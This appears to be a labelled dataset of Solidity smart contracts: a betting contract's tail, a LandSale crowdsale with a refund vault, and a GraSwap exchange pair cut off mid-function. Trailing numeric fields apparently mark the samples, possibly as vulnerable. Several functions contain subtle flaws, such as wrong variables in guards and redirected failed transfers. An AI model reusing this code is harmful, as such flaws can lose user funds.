return (lastPlayedGames[index].addr, lastPlayedGames[index].blocknumber, lastPlayedGames[index].blocktimestamp, lastPlayedGames[index].bet, lastPlayedGames[index].prize, lastPlayedGames[index].winner);
}
function depositFunds() payable public {}
function withdrawFunds(uint amount) onlyOwner public {
require(amount <= address(this).balance);
if (owner.send(amount)) {
emit Status('User withdraw some money!', msg.sender, amount, true);
}
}
function setMaxAmountToBet(uint amount) onlyOwner public returns (uint) {
MaxAmountToBet = amount;
return MaxAmountToBet;
}
function getMaxAmountToBet() constant public returns (uint) {
return MaxAmountToBet;
}
function Kill() onlyOwner public{
emit Status('Contract was killed, contract balance will be send to the owner!', msg.sender, address(this).balance, true);
selfdestruct(owner);
}
} | 0 | 2,028 |
pragma solidity ^0.4.18;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract RefundVault is Ownable {
using SafeMath for uint256;
enum State { Active, Refunding, Closed }
mapping (address => uint256) public deposited;
address public wallet;
State public state;
event Closed();
event RefundsEnabled();
event Refunded(address indexed beneficiary, uint256 weiAmount);
function RefundVault(address _wallet) public {
require(_wallet != address(0));
wallet = _wallet;
state = State.Active;
}
function deposit(address investor) onlyOwner public payable {
require(state == State.Active);
deposited[investor] = deposited[investor].add(msg.value);
}
function close() onlyOwner public {
require(state == State.Active);
state = State.Closed;
Closed();
wallet.transfer(address(this).balance);
}
function enableRefunds() onlyOwner public {
require(state == State.Active);
state = State.Refunding;
RefundsEnabled();
}
function refund(address investor) public {
require(state == State.Refunding);
uint256 depositedValue = deposited[investor];
deposited[investor] = 0;
investor.transfer(depositedValue);
Refunded(investor, depositedValue);
}
}
contract LandSale is Ownable {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
uint256 constant public VILLAGE_START_PRICE = 1200000000000000;
uint256 constant public TOWN_START_PRICE = 5000000000000000;
uint256 constant public CITY_START_PRICE = 20000000000000000;
uint256 constant public VILLAGE_INCREASE_RATE = 500000000000000;
uint256 constant public TOWN_INCREASE_RATE = 2500000000000000;
uint256 constant public CITY_INCREASE_RATE = 12500000000000000;
address public wallet;
uint256 public weiRaised;
uint256 public goal;
RefundVault public vault;
address[] public walletUsers;
uint256 public walletUserCount;
bytes32[] public ccUsers;
uint256 public ccUserCount;
uint256 public villagesSold;
uint256 public townsSold;
uint256 public citiesSold;
mapping (address => uint256) public addressToNumVillages;
mapping (address => uint256) public addressToNumTowns;
mapping (address => uint256) public addressToNumCities;
mapping (bytes32 => uint256) public userToNumVillages;
mapping (bytes32 => uint256) public userToNumTowns;
mapping (bytes32 => uint256) public userToNumCities;
bool private paused = false;
bool public isFinalized = false;
event LandPurchased(address indexed purchaser, uint256 value, uint8 landType, uint256 quantity);
event LandPurchasedCC(bytes32 indexed userId, address indexed purchaser, uint8 landType, uint256 quantity);
event Finalized();
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime && !paused);
_;
}
function LandSale(address _wallet, uint256 _goal,
uint256 _openingTime, uint256 _closingTime) public {
require(_wallet != address(0));
require(_goal > 0);
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
wallet = _wallet;
vault = new RefundVault(wallet);
goal = _goal;
openingTime = _openingTime;
closingTime = _closingTime;
}
function addWalletAddress(address walletAddress) private {
if ((addressToNumVillages[walletAddress] == 0) &&
(addressToNumTowns[walletAddress] == 0) &&
(addressToNumCities[walletAddress] == 0)) {
walletUsers.push(msg.sender);
walletUserCount++;
}
}
function addCCUser(bytes32 user) private {
if ((userToNumVillages[user] == 0) &&
(userToNumTowns[user] == 0) &&
(userToNumCities[user] == 0)) {
ccUsers.push(user);
ccUserCount++;
}
}
function purchaseVillage(uint256 numVillages) payable public onlyWhileOpen {
require(msg.value >= (villagePrice()*numVillages));
require(numVillages > 0);
weiRaised = weiRaised.add(msg.value);
villagesSold = villagesSold.add(numVillages);
addWalletAddress(msg.sender);
addressToNumVillages[msg.sender] = addressToNumVillages[msg.sender].add(numVillages);
_forwardFunds();
LandPurchased(msg.sender, msg.value, 1, numVillages);
}
function purchaseTown(uint256 numTowns) payable public onlyWhileOpen {
require(msg.value >= (townPrice()*numTowns));
require(numTowns > 0);
weiRaised = weiRaised.add(msg.value);
townsSold = townsSold.add(numTowns);
addWalletAddress(msg.sender);
addressToNumTowns[msg.sender] = addressToNumTowns[msg.sender].add(numTowns);
_forwardFunds();
LandPurchased(msg.sender, msg.value, 2, numTowns);
}
function purchaseCity(uint256 numCities) payable public onlyWhileOpen {
require(msg.value >= (cityPrice()*numCities));
require(numCities > 0);
weiRaised = weiRaised.add(msg.value);
citiesSold = citiesSold.add(numCities);
addWalletAddress(msg.sender);
addressToNumCities[msg.sender] = addressToNumCities[msg.sender].add(numCities);
_forwardFunds();
LandPurchased(msg.sender, msg.value, 3, numCities);
}
function purchaseLandWithCC(uint8 landType, bytes32 userId, uint256 num) public onlyOwner onlyWhileOpen {
require(landType <= 3);
require(num > 0);
addCCUser(userId);
if (landType == 3) {
weiRaised = weiRaised.add(cityPrice()*num);
citiesSold = citiesSold.add(num);
userToNumCities[userId] = userToNumCities[userId].add(num);
} else if (landType == 2) {
weiRaised = weiRaised.add(townPrice()*num);
townsSold = townsSold.add(num);
userToNumTowns[userId] = userToNumTowns[userId].add(num);
} else if (landType == 1) {
weiRaised = weiRaised.add(villagePrice()*num);
villagesSold = villagesSold.add(num);
userToNumVillages[userId] = userToNumVillages[userId].add(num);
}
LandPurchasedCC(userId, msg.sender, landType, num);
}
function villagePrice() view public returns(uint256) {
return VILLAGE_START_PRICE.add((villagesSold.div(10).mul(VILLAGE_INCREASE_RATE)));
}
function townPrice() view public returns(uint256) {
return TOWN_START_PRICE.add((townsSold.div(10).mul(TOWN_INCREASE_RATE)));
}
function cityPrice() view public returns(uint256) {
return CITY_START_PRICE.add((citiesSold.div(10).mul(CITY_INCREASE_RATE)));
}
function pause() onlyOwner public {
paused = true;
}
function resume() onlyOwner public {
paused = false;
}
function isPaused () onlyOwner public view returns(bool) {
return paused;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function claimRefund() public {
require(isFinalized);
require(!goalReached());
vault.refund(msg.sender);
}
function goalReached() public view returns (bool) {
return weiRaised >= goal;
}
function finalize() onlyOwner public {
require(!isFinalized);
require(hasClosed());
if (goalReached()) {
vault.close();
} else {
vault.enableRefunds();
}
Finalized();
isFinalized = true;
}
function _forwardFunds() internal {
vault.deposit.value(msg.value)(msg.sender);
}
} | 1 | 3,966 |
pragma solidity 0.6.12;
library Math {
function min(uint x, uint y) internal pure returns (uint z) {
z = x < y ? x : y;
}
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
library SafeMath256 {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
struct RatPrice {
uint numerator;
uint denominator;
}
library DecFloat32 {
uint32 public constant MANTISSA_MASK = (1<<27) - 1;
uint32 public constant MAX_MANTISSA = 9999_9999;
uint32 public constant MIN_MANTISSA = 1000_0000;
uint32 public constant MIN_PRICE = MIN_MANTISSA;
uint32 public constant MAX_PRICE = (31<<27)|MAX_MANTISSA;
function powSmall(uint32 i) internal pure returns (uint) {
uint x = 2695994666777834996822029817977685892750687677375768584125520488993233305610;
return (x >> (32*i)) & ((1<<32)-1);
}
function powBig(uint32 i) internal pure returns (uint) {
uint y = 3402823669209384634633746076162356521930955161600000001;
return (y >> (64*i)) & ((1<<64)-1);
}
function expandPrice(uint32 price32) internal pure returns (RatPrice memory) {
uint s = price32&((1<<27)-1);
uint32 a = price32 >> 27;
RatPrice memory price;
if(a >= 24) {
uint32 b = a - 24;
price.numerator = s * powSmall(b);
price.denominator = 1;
} else if(a == 23) {
price.numerator = s;
price.denominator = 1;
} else {
uint32 b = 22 - a;
price.numerator = s;
price.denominator = powSmall(b&0x7) * powBig(b>>3);
}
return price;
}
function getExpandPrice(uint price) internal pure returns(uint numerator, uint denominator) {
uint32 m = uint32(price) & MANTISSA_MASK;
require(MIN_MANTISSA <= m && m <= MAX_MANTISSA, "Invalid Price");
RatPrice memory actualPrice = expandPrice(uint32(price));
return (actualPrice.numerator, actualPrice.denominator);
}
}
library ProxyData {
uint public constant COUNT = 5;
uint public constant INDEX_FACTORY = 0;
uint public constant INDEX_MONEY_TOKEN = 1;
uint public constant INDEX_STOCK_TOKEN = 2;
uint public constant INDEX_GRA = 3;
uint public constant INDEX_OTHER = 4;
uint public constant OFFSET_PRICE_DIV = 0;
uint public constant OFFSET_PRICE_MUL = 64;
uint public constant OFFSET_STOCK_UNIT = 64+64;
uint public constant OFFSET_IS_ONLY_SWAP = 64+64+64;
function factory(uint[5] memory proxyData) internal pure returns (address) {
return address(proxyData[INDEX_FACTORY]);
}
function money(uint[5] memory proxyData) internal pure returns (address) {
return address(proxyData[INDEX_MONEY_TOKEN]);
}
function stock(uint[5] memory proxyData) internal pure returns (address) {
return address(proxyData[INDEX_STOCK_TOKEN]);
}
function graContract(uint[5] memory proxyData) internal pure returns (address) {
return address(proxyData[INDEX_GRA]);
}
function priceMul(uint[5] memory proxyData) internal pure returns (uint64) {
return uint64(proxyData[INDEX_OTHER]>>OFFSET_PRICE_MUL);
}
function priceDiv(uint[5] memory proxyData) internal pure returns (uint64) {
return uint64(proxyData[INDEX_OTHER]>>OFFSET_PRICE_DIV);
}
function stockUnit(uint[5] memory proxyData) internal pure returns (uint64) {
return uint64(proxyData[INDEX_OTHER]>>OFFSET_STOCK_UNIT);
}
function isOnlySwap(uint[5] memory proxyData) internal pure returns (bool) {
return uint8(proxyData[INDEX_OTHER]>>OFFSET_IS_ONLY_SWAP) != 0;
}
function fill(uint[5] memory proxyData, uint expectedCallDataSize) internal pure {
uint size;
assembly {
size := calldatasize()
}
require(size == expectedCallDataSize, "INVALID_CALLDATASIZE");
assembly {
let offset := sub(size, 160)
calldatacopy(proxyData, offset, 160)
}
}
}
interface IGraSwapFactory {
event PairCreated(address indexed pair, address stock, address money, bool isOnlySwap);
function createPair(address stock, address money, bool isOnlySwap) external returns (address pair);
function setFeeToAddresses(address) external;
function setFeeToSetter(address) external;
function setFeeBPS(uint32 bps) external;
function setPairLogic(address implLogic) external;
function allPairsLength() external view returns (uint);
function feeTo_1() external view returns (address);
function feeTo_2() external view returns (address);
function feeToPrivate() external view returns (address);
function feeToSetter() external view returns (address);
function feeBPS() external view returns (uint32);
function pairLogic() external returns (address);
function getTokensFromPair(address pair) external view returns (address stock, address money);
function tokensToPair(address stock, address money, bool isOnlySwap) external view returns (address pair);
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
interface IGraSwapBlackList {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event AddedBlackLists(address[]);
event RemovedBlackLists(address[]);
function owner()external view returns (address);
function isBlackListed(address)external view returns (bool);
function transferOwnership(address newOwner) external;
function addBlackLists(address[] calldata accounts)external;
function removeBlackLists(address[] calldata accounts)external;
}
interface IGraWhiteList {
event AppendWhiter(address adder);
event RemoveWhiter(address remover);
function appendWhiter(address account) external;
function removeWhiter(address account) external;
function isWhiter(address account) external;
function isNotWhiter(address account) external;
}
interface IGraSwapToken is IERC20, IGraSwapBlackList{
function burn(uint256 amount) external;
function burnFrom(address account, uint256 amount) external;
function increaseAllowance(address spender, uint256 addedValue) external returns (bool);
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool);
function batchTransfer(address[] memory addressList, uint256[] memory amountList) external returns (bool);
}
interface IGraSwapERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
interface IGraSwapPool {
event Mint(address indexed sender, uint stockAndMoneyAmount, address indexed to);
event Burn(address indexed sender, uint stockAndMoneyAmount, address indexed to);
event Sync(uint reserveStockAndMoney);
function internalStatus() external view returns(uint[3] memory res);
function getReserves() external view returns (uint112 reserveStock, uint112 reserveMoney, uint32 firstSellID);
function getBooked() external view returns (uint112 bookedStock, uint112 bookedMoney, uint32 firstBuyID);
function stock() external returns (address);
function money() external returns (address);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint stockAmount, uint moneyAmount);
function skim(address to) external;
function sync() external;
}
interface IGraSwapPair {
event NewLimitOrder(uint data);
event NewMarketOrder(uint data);
event OrderChanged(uint data);
event DealWithPool(uint data);
event RemoveOrder(uint data);
function getPrices() external returns (
uint firstSellPriceNumerator,
uint firstSellPriceDenominator,
uint firstBuyPriceNumerator,
uint firstBuyPriceDenominator,
uint poolPriceNumerator,
uint poolPriceDenominator);
function getOrderList(bool isBuy, uint32 id, uint32 maxCount) external view returns (uint[] memory);
function removeOrder(bool isBuy, uint32 id, uint72 positionID) external;
function removeOrders(uint[] calldata rmList) external;
function addLimitOrder(bool isBuy, address sender, uint64 amount, uint32 price32, uint32 id, uint72 prevKey) external payable;
function addMarketOrder(address inputToken, address sender, uint112 inAmount) external payable returns (uint);
function calcStockAndMoney(uint64 amount, uint32 price32) external pure returns (uint stockAmount, uint moneyAmount);
}
abstract contract GraSwapERC20 is IGraSwapERC20 {
using SafeMath256 for uint;
uint internal _unusedVar0;
uint internal _unusedVar1;
uint internal _unusedVar2;
uint internal _unusedVar3;
uint internal _unusedVar4;
uint internal _unusedVar5;
uint internal _unusedVar6;
uint internal _unusedVar7;
uint internal _unusedVar8;
uint internal _unusedVar9;
uint internal _unlocked = 1;
modifier lock() {
require(_unlocked == 1, "GraSwap: LOCKED");
_unlocked = 0;
_;
_unlocked = 1;
}
string private constant _NAME = "GraSwap-Share";
uint8 private constant _DECIMALS = 18;
uint public override totalSupply;
mapping(address => uint) public override balanceOf;
mapping(address => mapping(address => uint)) public override allowance;
function symbol() virtual external override returns (string memory);
function name() external view override returns (string memory) {
return _NAME;
}
function decimals() external view override returns (uint8) {
return _DECIMALS;
}
function _mint(address to, uint value) internal {
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function _approve(address owner, address spender, uint value) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(address from, address to, uint value) private {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function approve(address spender, uint value) external override returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint value) external override returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint value) external override returns (bool) {
if (allowance[from][msg.sender] != uint(- 1)) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
}
_transfer(from, to, value);
return true;
}
}
struct Order {
address sender;
uint32 price;
uint64 amount;
uint32 nextID;
}
struct Context {
bool isLimitOrder;
uint32 newOrderID;
uint remainAmount;
uint32 firstID;
uint32 firstBuyID;
uint32 firstSellID;
uint amountIntoPool;
uint dealMoneyInBook;
uint dealStockInBook;
uint reserveMoney;
uint reserveStock;
uint bookedMoney;
uint bookedStock;
bool reserveChanged;
bool hasDealtInOrderBook;
Order order;
uint64 stockUnit;
uint64 priceMul;
uint64 priceDiv;
address stockToken;
address moneyToken;
address graContract;
address factory;
}
abstract contract GraSwapPool is GraSwapERC20, IGraSwapPool {
using SafeMath256 for uint;
uint private constant _MINIMUM_LIQUIDITY = 10 ** 3;
bytes4 internal constant _SELECTOR = bytes4(keccak256(bytes("transfer(address,uint256)")));
uint internal _reserveStockAndMoneyAndFirstSellID;
uint internal _bookedStockAndMoneyAndFirstBuyID;
uint private _kLast;
uint32 private constant _OS = 2;
uint32 private constant _LS = 3;
function internalStatus() external override view returns(uint[3] memory res) {
res[0] = _reserveStockAndMoneyAndFirstSellID;
res[1] = _bookedStockAndMoneyAndFirstBuyID;
res[2] = _kLast;
}
function stock() external override returns (address) {
uint[5] memory proxyData;
ProxyData.fill(proxyData, 4+32*(ProxyData.COUNT+0));
return ProxyData.stock(proxyData);
}
function money() external override returns (address) {
uint[5] memory proxyData;
ProxyData.fill(proxyData, 4+32*(ProxyData.COUNT+0));
return ProxyData.money(proxyData);
}
function getReserves() public override view returns (uint112 reserveStock, uint112 reserveMoney, uint32 firstSellID) {
uint temp = _reserveStockAndMoneyAndFirstSellID;
reserveStock = uint112(temp);
reserveMoney = uint112(temp>>112);
firstSellID = uint32(temp>>224);
}
function _setReserves(uint stockAmount, uint moneyAmount, uint32 firstSellID) internal {
require(stockAmount < uint(1<<112) && moneyAmount < uint(1<<112), "GraSwap: OVERFLOW");
uint temp = (moneyAmount<<112)|stockAmount;
emit Sync(temp);
temp = (uint(firstSellID)<<224)| temp;
_reserveStockAndMoneyAndFirstSellID = temp;
}
function getBooked() public override view returns (uint112 bookedStock, uint112 bookedMoney, uint32 firstBuyID) {
uint temp = _bookedStockAndMoneyAndFirstBuyID;
bookedStock = uint112(temp);
bookedMoney = uint112(temp>>112);
firstBuyID = uint32(temp>>224);
}
function _setBooked(uint stockAmount, uint moneyAmount, uint32 firstBuyID) internal {
require(stockAmount < uint(1<<112) && moneyAmount < uint(1<<112), "GraSwap: OVERFLOW");
_bookedStockAndMoneyAndFirstBuyID = (uint(firstBuyID)<<224)|(moneyAmount<<112)|stockAmount;
}
function _myBalance(address token) internal view returns (uint) {
if(token==address(0)) {
return address(this).balance;
} else {
return IERC20(token).balanceOf(address(this));
}
}
function _safeTransfer(address token, address to, uint value, address graContract) internal {
if(value==0) {return;}
if(token==address(0)) {
to.call{value: value, gas: 9000}(new bytes(0));
return;
}
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(_SELECTOR, to, value));
success = success && (data.length == 0 || abi.decode(data, (bool)));
if(!success) {
address graContractOwner = IGraSwapToken(graContract).owner();
(success, data) = token.call(abi.encodeWithSelector(_SELECTOR, graContractOwner, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), "GraSwap: TRANSFER_FAILED");
}
}
function _mintFee(uint112 _reserve0, uint112 _reserve1, uint[5] memory proxyData) private returns (bool feeOn) {
address feeTo_1 = IGraSwapFactory(ProxyData.factory(proxyData)).feeTo_1();
address feeTo_2 = IGraSwapFactory(ProxyData.factory(proxyData)).feeTo_2();
address feeToPrivate = IGraSwapFactory(ProxyData.factory(proxyData)).feeToPrivate();
feeOn = (feeTo_1 != address(0) && feeTo_2 != address(0) && feeToPrivate != address(0));
uint kLast = _kLast;
if (feeOn) {
if (kLast != 0) {
uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1));
uint rootKLast = Math.sqrt(kLast);
if (rootK > rootKLast) {
uint numerator = totalSupply.mul(rootK.sub(rootKLast)).mul(_OS);
uint denominator = rootK.mul(_LS).add(rootKLast.mul(_OS));
uint liquidity = numerator / denominator;
if (liquidity > 0) {
uint liquidity_p1 = liquidity.div(4);
uint liquidity_p2 = liquidity.div(8);
uint liquidity_p3 = liquidity.mul(5).div(8);
if (liquidity_p1 > 0) {
_mint(feeTo_1, liquidity_p1);
}
if (liquidity_p2 > 0) {
_mint(feeTo_2, liquidity_p2);
}
if (liquidity_p2 > 0) {
_mint(feeToPrivate, liquidity_p3);
}
}
}
}
} else if (kLast != 0) {
_kLast = 0;
}
}
function mint(address to) external override lock returns (uint liquidity) {
uint[5] memory proxyData;
ProxyData.fill(proxyData, 4+32*(ProxyData.COUNT+1));
(uint112 reserveStock, uint112 reserveMoney, uint32 firstSellID) = getReserves();
(uint112 bookedStock, uint112 bookedMoney, ) = getBooked();
uint stockBalance = _myBalance(ProxyData.stock(proxyData));
uint moneyBalance = _myBalance(ProxyData.money(proxyData));
require(stockBalance >= uint(bookedStock) + uint(reserveStock) &&
moneyBalance >= uint(bookedMoney) + uint(reserveMoney), "GraSwap: INVALID_BALANCE");
stockBalance -= uint(bookedStock);
moneyBalance -= uint(bookedMoney);
uint stockAmount = stockBalance - uint(reserveStock);
uint moneyAmount = moneyBalance - uint(reserveMoney);
bool feeOn = _mintFee(reserveStock, reserveMoney, proxyData);
uint _totalSupply = totalSupply;
if (_totalSupply == 0) {
liquidity = Math.sqrt(stockAmount.mul(moneyAmount)).sub(_MINIMUM_LIQUIDITY);
_mint(address(0), _MINIMUM_LIQUIDITY);
} else {
liquidity = Math.min(stockAmount.mul(_totalSupply) / uint(reserveStock),
moneyAmount.mul(_totalSupply) / uint(reserveMoney));
}
require(liquidity > 0, "GraSwap: INSUFFICIENT_MINTED");
_mint(to, liquidity);
_setReserves(stockBalance, moneyBalance, firstSellID);
if (feeOn) _kLast = stockBalance.mul(moneyBalance);
emit Mint(msg.sender, (moneyAmount<<112)|stockAmount, to);
}
function burn(address to) external override lock returns (uint stockAmount, uint moneyAmount) {
uint[5] memory proxyData;
ProxyData.fill(proxyData, 4+32*(ProxyData.COUNT+1));
(uint112 reserveStock, uint112 reserveMoney, uint32 firstSellID) = getReserves();
(uint bookedStock, uint bookedMoney, ) = getBooked();
uint stockBalance = _myBalance(ProxyData.stock(proxyData)).sub(bookedStock);
uint moneyBalance = _myBalance(ProxyData.money(proxyData)).sub(bookedMoney);
require(stockBalance >= uint(reserveStock) && moneyBalance >= uint(reserveMoney), "GraSwap: INVALID_BALANCE");
bool feeOn = _mintFee(reserveStock, reserveMoney, proxyData);
{
uint _totalSupply = totalSupply;
uint liquidity = balanceOf[address(this)];
stockAmount = liquidity.mul(stockBalance) / _totalSupply;
moneyAmount = liquidity.mul(moneyBalance) / _totalSupply;
require(stockAmount > 0 && moneyAmount > 0, "GraSwap: INSUFFICIENT_BURNED");
balanceOf[address(this)] = 0;
totalSupply = totalSupply.sub(liquidity);
emit Transfer(address(this), address(0), liquidity);
}
address graContract = ProxyData.graContract(proxyData);
_safeTransfer(ProxyData.stock(proxyData), to, stockAmount, graContract);
_safeTransfer(ProxyData.money(proxyData), to, moneyAmount, graContract);
stockBalance = stockBalance - stockAmount;
moneyBalance = moneyBalance - moneyAmount;
_setReserves(stockBalance, moneyBalance, firstSellID);
if (feeOn) _kLast = stockBalance.mul(moneyBalance);
emit Burn(msg.sender, (moneyAmount<<112)|stockAmount, to);
}
function skim(address to) external override lock {
uint[5] memory proxyData;
ProxyData.fill(proxyData, 4+32*(ProxyData.COUNT+1));
address stockToken = ProxyData.stock(proxyData);
address moneyToken = ProxyData.money(proxyData);
(uint112 reserveStock, uint112 reserveMoney, ) = getReserves();
(uint bookedStock, uint bookedMoney, ) = getBooked();
uint balanceStock = _myBalance(stockToken);
uint balanceMoney = _myBalance(moneyToken);
require(balanceStock >= uint(bookedStock) + uint(reserveStock) &&
balanceMoney >= uint(bookedMoney) + uint(reserveMoney), "GraSwap: INVALID_BALANCE");
address graContract = ProxyData.graContract(proxyData);
_safeTransfer(stockToken, to, balanceStock-reserveStock-bookedStock, graContract);
_safeTransfer(moneyToken, to, balanceMoney-reserveMoney-bookedMoney, graContract);
}
function sync() external override lock {
uint[5] memory proxyData;
ProxyData.fill(proxyData, 4+32*(ProxyData.COUNT+0));
(, , uint32 firstSellID) = getReserves();
(uint bookedStock, uint bookedMoney, ) = getBooked();
uint balanceStock = _myBalance(ProxyData.stock(proxyData));
uint balanceMoney = _myBalance(ProxyData.money(proxyData));
require(balanceStock >= bookedStock && balanceMoney >= bookedMoney, "GraSwap: INVALID_BALANCE");
_setReserves(balanceStock-bookedStock, balanceMoney-bookedMoney, firstSellID);
}
}
contract GraSwapPair is GraSwapPool, IGraSwapPair {
uint[1<<22] private _sellOrders;
uint[1<<22] private _buyOrders;
uint32 private constant _MAX_ID = (1<<22)-1;
function _expandPrice(uint32 price32, uint[5] memory proxyData) private pure returns (RatPrice memory price) {
price = DecFloat32.expandPrice(price32);
price.numerator *= ProxyData.priceMul(proxyData);
price.denominator *= ProxyData.priceDiv(proxyData);
}
function _expandPrice(Context memory ctx, uint32 price32) private pure returns (RatPrice memory price) {
price = DecFloat32.expandPrice(price32);
price.numerator *= ctx.priceMul;
price.denominator *= ctx.priceDiv;
}
function symbol() external override returns (string memory) {
uint[5] memory proxyData;
ProxyData.fill(proxyData, 4+32*(ProxyData.COUNT+0));
string memory s = "ETH";
address stock = ProxyData.stock(proxyData);
if(stock != address(0)) {
s = IERC20(stock).symbol();
}
string memory m = "ETH";
address money = ProxyData.money(proxyData);
if(money != address(0)) {
m = IERC20(money).symbol();
}
return string(abi.encodePacked(s, "/", m));
}
function _emitNewLimitOrder(
uint64 addressLow,
uint64 totalStockAmount,
uint64 remainedStockAmount,
uint32 price,
uint32 orderID,
bool isBuy ) private {
uint data = uint(addressLow);
data = (data<<64) | uint(totalStockAmount);
data = (data<<64) | uint(remainedStockAmount);
data = (data<<32) | uint(price);
data = (data<<32) | uint(orderID<<8);
if(isBuy) {
data = data | 1;
}
emit NewLimitOrder(data);
}
function _emitNewMarketOrder(
uint136 addressLow,
uint112 amount,
bool isBuy ) private {
uint data = uint(addressLow);
data = (data<<112) | uint(amount);
data = data<<8;
if(isBuy) {
data = data | 1;
}
emit NewMarketOrder(data);
}
function _emitOrderChanged(
uint64 makerLastAmount,
uint64 makerDealAmount,
uint32 makerOrderID,
bool isBuy ) private {
uint data = uint(makerLastAmount);
data = (data<<64) | uint(makerDealAmount);
data = (data<<32) | uint(makerOrderID<<8);
if(isBuy) {
data = data | 1;
}
emit OrderChanged(data);
}
function _emitDealWithPool(
uint112 inAmount,
uint112 outAmount,
bool isBuy) private {
uint data = uint(inAmount);
data = (data<<112) | uint(outAmount);
data = data<<8;
if(isBuy) {
data = data | 1;
}
emit DealWithPool(data);
}
function _emitRemoveOrder(
uint64 remainStockAmount,
uint32 orderID,
bool isBuy ) private {
uint data = uint(remainStockAmount);
data = (data<<32) | uint(orderID<<8);
if(isBuy) {
data = data | 1;
}
emit RemoveOrder(data);
}
function _order2uint(Order memory order) internal pure returns (uint) {
uint n = uint(order.sender);
n = (n<<32) | order.price;
n = (n<<42) | order.amount;
n = (n<<22) | order.nextID;
return n;
}
function _uint2order(uint n) internal pure returns (Order memory) {
Order memory order;
order.nextID = uint32(n & ((1<<22)-1));
n = n >> 22;
order.amount = uint64(n & ((1<<42)-1));
n = n >> 42;
order.price = uint32(n & ((1<<32)-1));
n = n >> 32;
order.sender = address(n);
return order;
}
function _hasOrder(bool isBuy, uint32 id) internal view returns (bool) {
if(isBuy) {
return _buyOrders[id] != 0;
} else {
return _sellOrders[id] != 0;
}
}
function _getOrder(bool isBuy, uint32 id) internal view returns (Order memory order, bool findIt) {
if(isBuy) {
order = _uint2order(_buyOrders[id]);
return (order, order.price != 0);
} else {
order = _uint2order(_sellOrders[id]);
return (order, order.price != 0);
}
}
function _setOrder(bool isBuy, uint32 id, Order memory order) internal {
if(isBuy) {
_buyOrders[id] = _order2uint(order);
} else {
_sellOrders[id] = _order2uint(order);
}
}
function _deleteOrder(bool isBuy, uint32 id) internal {
if(isBuy) {
delete _buyOrders[id];
} else {
delete _sellOrders[id];
}
}
function _getFirstOrderID(Context memory ctx, bool isBuy) internal pure returns (uint32) {
if(isBuy) {
return ctx.firstBuyID;
}
return ctx.firstSellID;
}
function _setFirstOrderID(Context memory ctx, bool isBuy, uint32 id) internal pure {
if(isBuy) {
ctx.firstBuyID = id;
} else {
ctx.firstSellID = id;
}
}
function removeOrders(uint[] calldata rmList) external override lock {
uint[5] memory proxyData;
